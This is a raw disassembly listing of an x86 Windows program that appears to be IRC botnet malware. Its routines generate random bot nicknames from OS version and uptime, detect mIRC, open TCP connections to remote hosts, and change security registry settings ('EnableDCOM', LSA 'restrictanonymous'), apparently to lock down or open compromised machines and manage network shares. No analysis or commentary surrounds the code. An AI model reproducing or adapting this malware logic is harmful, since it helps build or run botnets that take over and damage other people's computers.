var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

		push	esi
		push	edi
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		mov	edi, [esp+0Ch+arg_4]
		mov	[esp+0Ch+var_C], offset	dword_515648
		push	offset dword_42433C
		push	1Ch
		push	edi
		call	sub_41792A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42ECFC, esi
		jle	short loc_415F80


loc_415F5A:				; CODE XREF: sub_415F27+57j
		call	sub_417408
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43ADF4
		push	1Ch
		push	edi
		call	sub_41792A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42ECFC
		jl	short loc_415F5A


loc_415F80:				; CODE XREF: sub_415F27+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415F27	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F85	proc near		; CODE XREF: sub_40F6F1+3F7Ap

arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		pop	ecx
		call	sub_417408
		push	3
		mov	ebx, [esp+10h+arg_4]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42ECFC
		test	esi, esi
		jle	short loc_415FC8


loc_415FB2:				; CODE XREF: sub_415F85+41j
		call	sub_417408
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415FB2


loc_415FC8:				; CODE XREF: sub_415F85+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_415F85	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		push	ebx
		push	esi
		lea	eax, [ebp-0C8h]
		push	edi
		push	eax
		mov	edi, offset byte_43C63C
		mov	dword ptr [ebp-0C8h], 94h
		nop
		call	near ptr 7C812ADEh
		cmp	dword ptr [ebp-0C4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_41604C
		cmp	dword ptr [ebp-0C0h], 0
		jnz	short loc_41602D
		cmp	dword ptr [ebp-0B8h], 1
		jnz	short loc_41601D
		mov	edi, offset a95	; "95"


loc_41601D:				; CODE XREF: ___:00416016j
		cmp	dword ptr [ebp-0B8h], 2
		jnz	short loc_416088
		mov	edi, offset aNt	; "NT"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_41602D:				; CODE XREF: ___:0041600Dj
		cmp	[ebp-0C0h], ebx
		jnz	short loc_41603C
		mov	edi, offset a98	; "98"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_41603C:				; CODE XREF: ___:00416033j
		cmp	dword ptr [ebp-0C0h], 5Ah
		jnz	short loc_416083
		mov	edi, offset aMe	; "ME"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_41604C:				; CODE XREF: ___:00416004j
		cmp	dword ptr [ebp-0C4h], 5
		jnz	short loc_416083
		cmp	dword ptr [ebp-0C0h], 0
		jnz	short loc_416065
		mov	edi, offset a2k	; "2K"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_416065:				; CODE XREF: ___:0041605Cj
		cmp	dword ptr [ebp-0C0h], 1
		jnz	short loc_416075
		mov	edi, offset aXp	; "XP"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_416075:				; CODE XREF: ___:0041606Cj
		cmp	dword ptr [ebp-0C0h], 2
		mov	edi, offset dword_43AE3C
		jz	short loc_416088


loc_416083:				; CODE XREF: ___:00416043j
					; ___:00416053j
		mov	edi, offset dword_43AE38


loc_416088:				; CODE XREF: ___:00416024j
					; ___:0041602Bj ...
		lea	eax, [ebp-0B4h]
		push	offset dword_441700
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4160A6
		mov	esi, offset dword_43AE34
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_4160A6:				; CODE XREF: ___:0041609Dj
		lea	eax, [ebp-0B4h]
		push	offset a1	; "1"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160C4
		mov	esi, offset sub_43AE30
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_4160C4:				; CODE XREF: ___:004160BBj
		lea	eax, [ebp-0B4h]
		push	offset a2	; "2"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160E2
		mov	esi, offset sub_43AE2C
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_4160E2:				; CODE XREF: ___:004160D9j
		lea	eax, [ebp-0B4h]
		push	offset dword_43AE28
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416100
		mov	esi, offset dword_43AE24
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_416100:				; CODE XREF: ___:004160F7j
		lea	eax, [ebp-0B4h]
		push	offset dword_43AE20
		push	eax
		call	sub_417980
		pop	ecx
		mov	esi, offset dword_43AE1C
		test	eax, eax
		pop	ecx
		jnz	short loc_416121
		mov	esi, offset off_43AE18


loc_416121:				; CODE XREF: ___:004160A4j
					; ___:004160C2j ...
		push	dword ptr [ebp+8]
		call	sub_40AFAB
		push	eax
		call	sub_40ADFD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41613C
		push	offset dword_42D19C
		jmp	short loc_416141
; ---------------------------------------------------------------------------


loc_41613C:				; CODE XREF: ___:00416133j
		push	offset aW	; "W"


loc_416141:				; CODE XREF: ___:0041613Aj
		lea	eax, [ebp-34h]
		push	10h
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		lea	eax, [ebp-8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_40BBF6
		pop	ecx
		push	eax
		call	sub_417FCC
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_416199
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41792A
		add	esp, 10h
		jmp	short loc_4161BD
; ---------------------------------------------------------------------------


loc_416199:				; CODE XREF: ___:00416182j
		cmp	eax, 64h
		jge	short loc_4161AB
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_4204FC
		jmp	short loc_4161BA
; ---------------------------------------------------------------------------


loc_4161AB:				; CODE XREF: ___:0041619Cj
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41792A


loc_4161BA:				; CODE XREF: ___:004161A9j
		add	esp, 0Ch


loc_4161BD:				; CODE XREF: ___:00416197j
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 7C80D262h
		lea	eax, [ebp-34h]
		push	eax
		push	esi
		lea	eax, [ebp-18h]
		push	edi
		mov	edi, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	offset aSSSSS	; "%s|%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41792A
		xor	esi, esi
		add	esp, 20h
		cmp	dword_42ECFC, esi
		jle	short loc_41622C


loc_416207:				; CODE XREF: ___:0041622Aj
		call	sub_417408
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43ADF4
		push	1Ch
		push	edi
		call	sub_41792A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42ECFC
		jl	short loc_416207


loc_41622C:				; CODE XREF: ___:00416205j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416233	proc near		; CODE XREF: sub_4162D6+60p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 7C80929Ch
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_416282
		call	dword_4413C4	; FindWindowA
		test	eax, eax
		mov	eax, offset off_43AE48
		jnz	short loc_41626B
		mov	eax, offset byte_43C63C


loc_41626B:				; CODE XREF: sub_416233+31j
		push	eax
		push	esi
		push	offset dword_43AE40
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41792A
		add	esp, 14h
		jmp	short loc_4162A2
; ---------------------------------------------------------------------------


loc_416282:				; CODE XREF: sub_416233+22j
		call	dword_4413C4	; FindWindowA
		test	eax, eax
		mov	eax, offset off_43AE48
		jnz	short loc_416296
		mov	eax, offset byte_43C63C


loc_416296:				; CODE XREF: sub_416233+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4162A2:				; CODE XREF: sub_416233+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AF0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_4162D1
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4184C0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_4182F0
		add	esp, 18h


loc_4162D1:				; CODE XREF: sub_416233+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_416233	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162D6	proc near		; CODE XREF: sub_40F326+CEp
					; sub_40F576+53p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43ADC4


loc_4162E2:				; CODE XREF: sub_4162D6+3Fj
		cmp	[ebp+arg_10], 0
		jz	short loc_4162FD
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_10]
		call	sub_4177D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_416307
; ---------------------------------------------------------------------------


loc_4162FD:				; CODE XREF: sub_4162D6+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_8]
		setz	al


loc_416307:				; CODE XREF: sub_4162D6+25j
		test	eax, eax
		jnz	short loc_416319
		add	esi, 14h
		inc	edi
		cmp	esi, 43AE00h
		jl	short loc_4162E2
		jmp	short loc_41632B
; ---------------------------------------------------------------------------


loc_416319:				; CODE XREF: sub_4162D6+33j
		push	[ebp+arg_4]
		lea	eax, [edi+edi*4]
		push	[ebp+arg_0]
		call	off_43ADC8[eax*4]
		pop	ecx
		pop	ecx


loc_41632B:				; CODE XREF: sub_4162D6+41j
		cmp	[ebp+arg_C], 0
		pop	edi
		pop	esi
		jz	short loc_41633E
		push	[ebp+arg_4]
		call	sub_416233
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41633E:				; CODE XREF: sub_4162D6+5Bj
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_4162D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416343	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_4413B8	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_441438	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416401
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_441360	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_446E1C[ecx], esi
		jz	short loc_416401
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_441444	; inet_ntoa
		push	eax
		mov	edi, offset dword_515654
		push	offset unk_43AE4C
		push	edi
		call	sub_4173AC
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40DC10
		push	edi
		call	sub_40C4F7
		add	esp, 28h


loc_416401:				; CODE XREF: sub_416343+5Dj
					; sub_416343+7Ej
		push	esi
		call	dword_441450	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_416343	endp

; ---------------------------------------------------------------------------
dword_416410	dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Ah
					; DATA XREF: sub_40F6F1+36F1o
		dd 0FF50BD8Dh, 0A5F3FFFFh, 1070358Bh, 83C70042h, 0A0h
		dd 1, 75FFFF33h, 0E075FFD4h, 144415FFh,	8D500044h, 0FFFED085h
		dd 0AE8468FFh, 0E8500043h, 0F50h, 0FED0858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 6C100500h, 0E8500044h
		dd 1E74h, 8D1CC483h, 8D50F845h,	0FFFF5085h, 685057FFh
		dd 416343h, 0E8905757h,	7C3FA19Fh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 94E890FCh, 0FF7C3F36h
		dd 88B3h, 0A4BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FC0h, 0FF0CC483h, 15FF0875h, 4412ECh, 45895040h
		dd 0B415FF08h, 89004413h, 458D0845h, 50046A08h,	50E0458Dh
		dd 0F97E8h, 0CC48300h, 0FFFF3DE9h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416501	proc near		; DATA XREF: sub_40F6F1+608Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_416548
		call	sub_416561
		jmp	short loc_41654D
; ---------------------------------------------------------------------------


loc_416548:				; CODE XREF: sub_416501+3Ej
		call	sub_416885


loc_41654D:				; CODE XREF: sub_416501+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417174
		pop	ecx
		push	0
		nop
		call	near ptr 7C80C058h
sub_416501	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416561	proc near		; CODE XREF: sub_416501+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_441488, edi
		jnz	loc_416693
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4165EC
		mov	ax, word_43B23C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4165CE
		push	offset unk_43B1FC
		jmp	short loc_4165D3
; ---------------------------------------------------------------------------


loc_4165CE:				; CODE XREF: sub_416561+64j
		push	offset dword_43B1D0


loc_4165D3:				; CODE XREF: sub_416561+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_4165FF
; ---------------------------------------------------------------------------


loc_4165EC:				; CODE XREF: sub_416561+36j
		lea	eax, [ebp+var_214]
		push	offset unk_43B190
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4165FF:				; CODE XREF: sub_416561+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41661E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_41661E:				; CODE XREF: sub_416561+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41668C
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_41666E
		push	offset unk_43B130
		jmp	short loc_416673
; ---------------------------------------------------------------------------


loc_41666E:				; CODE XREF: sub_416561+104j
		push	offset unk_43B0EC


loc_416673:				; CODE XREF: sub_416561+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_4166A6
; ---------------------------------------------------------------------------


loc_41668C:				; CODE XREF: sub_416561+E2j
		push	offset unk_43B0A0
		jmp	short loc_416698
; ---------------------------------------------------------------------------


loc_416693:				; CODE XREF: sub_416561+13j
		push	offset unk_43B060


loc_416698:				; CODE XREF: sub_416561+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4166A6:				; CODE XREF: sub_416561+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4166C5
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_4166C5:				; CODE XREF: sub_416561+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		cmp	dword_4414B0, edi
		pop	ecx
		jnz	loc_416840
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_4166E8:				; CODE XREF: sub_416561+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_441304
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_416785
		cmp	eax, 0EAh
		jz	short loc_416785
		mov	esi, offset off_43AEC8


loc_416719:				; CODE XREF: sub_416561+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40E261
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416730
		push	offset unk_43B02C
		jmp	short loc_416735
; ---------------------------------------------------------------------------


loc_416730:				; CODE XREF: sub_416561+1C6j
		push	offset unk_43AFF0


loc_416735:				; CODE XREF: sub_416561+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_416768
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416768:				; CODE XREF: sub_416561+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43AEE8
		jl	short loc_416719
		jmp	loc_41681D
; ---------------------------------------------------------------------------


loc_416785:				; CODE XREF: sub_416561+1AAj
					; sub_416561+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_416814


loc_416794:				; CODE XREF: sub_416561+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_417C91
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416809
		push	edi
		call	sub_40E14E
		push	eax
		push	0
		call	sub_40E261
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4167C3
		push	offset unk_43AFBC
		jmp	short loc_4167C8
; ---------------------------------------------------------------------------


loc_4167C3:				; CODE XREF: sub_416561+259j
		push	offset unk_43AF80


loc_4167C8:				; CODE XREF: sub_416561+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_4167FC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_4167FC:				; CODE XREF: sub_416561+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_416809:				; CODE XREF: sub_416561+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_416794
		xor	edi, edi


loc_416814:				; CODE XREF: sub_416561+22Dj
		push	[ebp+var_8]
		call	dword_441448


loc_41681D:				; CODE XREF: sub_416561+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_4166E8


loc_41682A:				; DATA XREF: ud2_____:00576707o
		lea	eax, [ebp+var_214]
		push	offset unk_43AF48
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_416853
; ---------------------------------------------------------------------------


loc_416840:				; CODE XREF: sub_416561+177j
		lea	eax, [ebp+var_214]
		push	offset unk_43AF08
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_416853:				; CODE XREF: sub_416561+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416871
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416871:				; CODE XREF: sub_416561+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_416561	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416885	proc near		; CODE XREF: sub_416501:loc_416548p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_441488, ebx
		push	esi
		jnz	loc_4169B3
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_416910
		mov	ax, word_43B424
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4168F2
		push	offset unk_43B3F0
		jmp	short loc_4168F7
; ---------------------------------------------------------------------------


loc_4168F2:				; CODE XREF: sub_416885+64j
		push	offset dword_43B3C4


loc_4168F7:				; CODE XREF: sub_416885+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_416923
; ---------------------------------------------------------------------------


loc_416910:				; CODE XREF: sub_416885+36j
		lea	eax, [ebp+var_220]
		push	offset unk_43B190
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_416923:				; CODE XREF: sub_416885+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416942
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416942:				; CODE XREF: sub_416885+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4169AC
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_41698E
		push	offset unk_43B378
		jmp	short loc_416993
; ---------------------------------------------------------------------------


loc_41698E:				; CODE XREF: sub_416885+100j
		push	offset unk_43B334


loc_416993:				; CODE XREF: sub_416885+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_4169C6
; ---------------------------------------------------------------------------


loc_4169AC:				; CODE XREF: sub_416885+E2j
		push	offset unk_43B2E8
		jmp	short loc_4169B8
; ---------------------------------------------------------------------------


loc_4169B3:				; CODE XREF: sub_416885+13j
		push	offset unk_43B060


loc_4169B8:				; CODE XREF: sub_416885+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4169C6:				; CODE XREF: sub_416885+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4169E5
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_4169E5:				; CODE XREF: sub_416885+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		cmp	dword_4414B0, ebx
		pop	ecx
		jnz	loc_416B57
		push	edi
		mov	esi, offset off_43AEC8
		mov	edi, 200h


loc_416A09:				; CODE XREF: sub_416885+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40E1B5
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416A24
		push	offset unk_43B2B8
		jmp	short loc_416A29
; ---------------------------------------------------------------------------


loc_416A24:				; CODE XREF: sub_416885+196j
		push	offset unk_43B280


loc_416A29:				; CODE XREF: sub_416885+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416A58
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416A58:				; CODE XREF: sub_416885+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43AED8
		jl	short loc_416A09
		nop
		call	near ptr 7C830B14h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416B3F


loc_416A83:				; CODE XREF: sub_416885+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_416B34
		cmp	bl, 41h
